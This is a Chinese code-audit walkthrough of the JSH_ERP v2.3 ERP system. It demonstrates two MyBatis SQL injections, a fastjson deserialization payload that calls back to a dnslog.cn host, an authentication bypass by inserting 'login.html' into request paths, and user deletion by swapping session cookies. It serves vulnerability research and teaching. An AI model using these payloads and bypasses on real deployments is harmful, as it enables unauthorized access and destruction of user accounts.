1 环境搭建
下载源码
https://gitee.com/jishenghua/JSH_ERP
此次测试v2.3版本
解压文件 使用IDEA 打开
配置maven环境
file -> setting
重载pom.xml
搭建数据库
jsherp\src\main\resources\application.properties
更改数据库账号 密码
create database jsh_rep charset utf8;
启动
2 代码模式
MVC 模式是一种软件框架模式,被广泛应用在 JavaEE 项目的开发中。
MVC 即模型(Model) 、视图(View)、控制器(Controller)。
•模型(Model)
模型是用于处理数据逻辑的部分。
所谓数据逻辑,也就是数据的映射以及对数据的增删改查,Bean、DAO(data access object,数据访问对象)等都属于模型部分。
•视图(View)
视图负责数据与其它信息的显示,也就是给用户看到的页面。
html、JSP 等页面都可以作为视图。
•控制器(controller)
控制器是模型与视图之间的桥梁,控制着数据与用户的交互。
控制器通常负责从视图读取数据,处理用户输入,并向模型发送数据,也可以从模型中读取数据,再发送给视图,由视图显示。
首先要了解项目整体结构。大致了解作者编写逻辑,搞清请求流程。
src/main下面有两个目录,分别是java和resources`
java目录中主要存放的是java代码
resources目录中主要存放的是资源文件,比如:html、js、css等
在java目录下还有其他一些常见目录,具体含义整理如下:
/java目录下:
annotation:放置项目自定义注解
controller/: 存放控制器,接收从前端传来的参数,对访问控制进行转发、各类基本参数校验或者不复用的业务简单处理等。
dao/: 数据访问层,与数据库进行交互,负责数据库操作,在Mybaits框架中存放自定义的Mapper接口
entity/: 存放实体类
interceptor/: 拦截器
service/: 存放服务类,负责业务模块逻辑处理。Service层中有两种类,一是Service,用来声明接口;二是ServiceImpl,作为实现类实现接口中的方法。
utils/: 存放工具类
dto/: 存放数据传输对象(Data Transfer Object),如请求参数和返回结果
vo/: 视图对象(View Object)用于封装客户端请求的数据,防止部分数据泄漏,保证数据安全
constant/: 存放常量
filter/: 存放过滤器
/resources目录下:
mapper/: 存放Mybaits的mapper.xml文件
static/: 静态资源文件目录(Javascript、CSS、图片等),在这个目录中的所有文件可以被直接访问
templates/: 存放模版文件
application.properties或application.yml: Spring Boot默认配置文件
代码跟踪流程
用户请求URL发送到服务器,服务器解析请求后发送到后端代码处理请求。 在后端代码处,首先经过Filter(过滤器)和Interceptor(拦截器),然后根据请求的URL映射到绑定的Controller,之后调用Service接口类,然后再调用serviceImpl接口实现类,最后调用DAO。 controller:负责简单的逻辑处理和参数校验功能,之后调用Service。 service:接口类,主要负责业务模块逻辑处理。 serviceImpl:接口实现类,实现类实现service接口中的方法。 DAO:如果service涉及数据库操作就会调用dao。DAO主要处理数据库操作。DAO只做中间传递角色,涉及的SQL语句都写在了配置文件Mapper.xml中。位于src/main/resources/mapper中。
3 信息收集
小伙伴是不是很疑惑,做代码审计也要信息收集吗?答案是肯定的。
比较火的log4j漏洞 根据版本范围 查找框架使用的版本是否匹配。
fastjson 漏洞 是不是也用了和漏洞版本一致
手工查看pom依赖 会很花时间 有一款工具可以自动化对比 从而快读定位
https://github.com/jeremylong/DependencyCheck
// 使用方法 其他参数自行摸索
dependency-check.bat -s C:\Users\Desktop\jsherp\pom.xml
还有第二种方法 使用洞态IAST 进行自动化漏洞扫描 同时也会自动对pom依赖进行扫描
在IDEA vm option添加洞态agent的地址,启动项目 登录后台 组件哪里,看上去挺多的,不知道是不是误报,咱也不敢说,咱也不敢问
-javaagent:C:\Users\Desktop\jsherp\dongtai-agent.jar
4 漏洞挖掘
做过php代码审计的师傅 在审sql的时候 往往是搜索一些关键字,如 selectupdateinsertorder bylike等关键字,那么在java中也是一样的,不过多了一个特殊字符 $
sql ="select * from user where id = $id;"
在php中 sql语句是直接写出来 但是在java中 很多框架是集成了数据库,因此很少会见到sql语句了。最常用的
mybatis中
#{}告诉 MyBatis 创建一个预编译语句(PreparedStatement)参数,在 JDBC 中,这样的一个参数在 SQL 中会由一个“?”来标识,并被传递到一个新的预处理语句中,
${} 仅仅是纯粹的 string 替换,在动态 SQL 解析阶段将会进行变量替换,类似于直接替换字符串,会导致SQL注入产生。
SQL注入一
全局搜索 查找 ${
推荐一个插件 可以从mapper文件追踪到接口类 free-idea-mybatis
安装好后 重启idea 然后右侧会出现一个绿色箭头
点击箭头 就会自动跳转到selectByConditionUser这个方法对应的类中
crtl + 鼠标 追踪接口实现类 持续点击调用方法 向上寻找 直到找到xxxController层
一直找 然后到达 ResourceController
然后再去找到这段的方法 看看有没有什么路径 以便于快速定位到web层
@GetMapping() 这个路径 就是web访问路径 然后需要传递四个参数 分别是 apinamepage_sizecurrent_pagesearch
但是在web 并没有这个路径 直接500错误
结合 mapper的SQL语句,猜想,这是在查询用户,那么会和用户模块有关系
使用bp抓包 试一试
上万能语句 成功 剩下交给sqlmap
查看sql 执行语句 也成功拼接了or语句
SQL注入二
代码中使用 $ 接收变量挺多的,第一个可能可能还在疑惑中,就那么简单就挖掘了? 在挑一个 进行挖掘 还是刚才一样的思路
@GetMapping(value = "/{apiName}/list") public String getList(@PathVariable("apiName") String apiName, @RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize, @RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage, @RequestParam(value = Constants.SEARCH, required = false) String search, HttpServletRequest request)throws Exception { . . . . . . queryInfo.setRows(list); queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap)); return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
好巧 也是和刚才一个页面
当然 只要理解前端传入的参数 在底层代码如何到达数据层 就很的挖掘sql注入漏洞。
fastjson反序列化
项目中,使用了fastjson依赖,并且版本也在范围内,那么就尝试复现下吧
全局搜索 JSON.parseObject
向上翻代码 有excel导入导出功能 MaterialController 翻译中文是材料控制器,那么在web界面 是和材料有关系 并且可以导入导出
打个断点,看看猜的对不对
emmm 断点获取不到数据 这路径我定位的是对的
算了 bp抓包 把鼠标放进来 就会转换json的格式 那么ok 放poc
{"@type":"java.net.Inet4Address","val":"ylgc9b.dnslog.cn"} 然后url编码 %7b%22%40%74%79%70%65%22%3a%22%6a%61%76%61%2e%6e%65%74%2e%49%6e%65%74%34%41%64%64%72%65%73%73%22%2c%22%76%61%6c%22%3a%22%79%6c%67%63%39%62%2e%64%6e%73%6c%6f%67%2e%63%6e%22%7d
成功了
未授权查询
在测试后台的时候,我经常喜欢删除cookie,来检测是否存在未授权
代码中 存在过滤器,但只是存在登录验证,并没有存在其他的验证(因为就这几行代码,不可能对全部功能做判断)
学过过滤器的同学 都知道,过滤器默认有三个方法 initdofilterdestory
init 方法就是在初始化的时候 运行里面的代码
dofilter 是自己写的逻辑代码
destory 程序关闭时 运行代码
大致解读下代码
@WebInitParam配置多个InitParam,使某些页面不被拦截。
当我去访问这些资源文件或者登录页面 就不会被拦截
@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"}, initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"), @WebInitParam(name = "filterPath", value = "/user/login#/user/registerUser#/v2/api-docs")})
然后直接看dofilter代码
第一个if 有注释 就不解释了
第二个if 判断url路径是否为空 或者是否包含下面的资源文件,如果有就直接过
if (requestUrl != null && (requestUrl.contains("/doc.html") || requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) { chain.doFilter(request, response); return; }
第三个if 调用了verify 先用增强for 遍历url 正则去匹配
第四个if 也是遍历 判断是否包含资源文件 大致这样
总体来说 就判断你有没有登录 是否包含这些资源文件。
先登录 查看某个功能 再去抓包进行路径绕过
相对路径嘛 ,前面写上login.html 他判断你有这个东西,就把你放了 也不管cookie的事情了 从而未授权了。
越权删除用户
全局搜索delete 或者UserController 一般就会定位到相关代码
使用ids参数接受用户的id值
跟踪service方法
关键代码从String idsArray[]=ids.split(","); 解读
从前端接收的ids 逗号分割 result 左边放分割后的数据,右边是一个常量 1
再往下 就是接口层 和 sql处理层,没了。
代码分析结果就是,只写了删除操作,没做任何处理。
剩下就是渗透测试了
创建两个账户,test 和ceshi
jsh 点击删除test 账户,把cookie 换成ceshi的
获取ceshi的cookie
Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1653474023,1653634847; JSESSIONID=50996B648620F84A4E9DF9061BCB5DF4; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1653645715
替换
这个系统还有很多的漏洞,我就不写教程了,感兴趣的小伙伴参考本篇文章,尝试挖掘其他漏洞吧。